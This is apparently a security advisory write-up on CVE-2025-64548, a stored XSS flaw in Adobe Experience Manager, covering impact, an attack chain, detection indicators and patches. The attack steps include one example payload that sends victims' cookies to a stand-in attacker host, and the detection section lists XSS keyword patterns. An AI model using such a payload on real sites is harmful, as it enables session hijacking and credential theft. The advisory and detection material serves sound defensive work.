CVE-2025-64548: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64548 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged authenticated attacker to inject malicious scripts into vulnerable form fields. Affected versions include Adobe Experience Manager 6.5.23 and earlier (on-premise), AEM Cloud Service versions prior to 2025.12.0, and AEM 6.5 LTS. The vulnerability was published on December 9, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient sanitization of user-supplied input in AEM form fields. An authenticated attacker with low privileges can store a malicious JavaScript payload in a vulnerable field; the script executes in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected content) and operates over the network with a changed scope, meaning the injected script can affect resources beyond the vulnerable application's origin (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The changed scope means the impact can extend beyond the AEM application itself. Confidentiality and integrity are both affected (rated Low each), while availability is not directly impacted (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using version disclosure in HTTP headers, login pages, or public asset paths.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS (e.g., a text input in a content fragment, page property, or custom component).
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a privileged user (e.g., an AEM administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server to enable further access or lateral movement (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html) from low-privileged accounts containing encoded JavaScript patterns (<script>, javascript:, onerror=, onload=).
• File System / Repository: Unexpected JavaScript content stored in AEM JCR repository nodes, particularly in text or richtext properties of page components or content fragments.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual DNS lookups originating from AEM author/publish environments.
• Process/Session: Anomalous session activity for privileged AEM accounts (e.g., unexpected page edits, user creation, or permission changes) that may indicate session hijacking following XSS exploitation.

Adobe has released patches addressing CVE-2025-64548: AEM on-premise users should upgrade to version 6.5.24.0 or later; AEM Cloud Service users are protected as of the 2025.12.0 release. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also enforce the principle of least privilege for AEM authoring accounts and implement Content Security Policy (CSP) headers to reduce XSS impact (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including this one, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or notable social media discussion beyond routine CVE tracking has been observed for this specific CVE.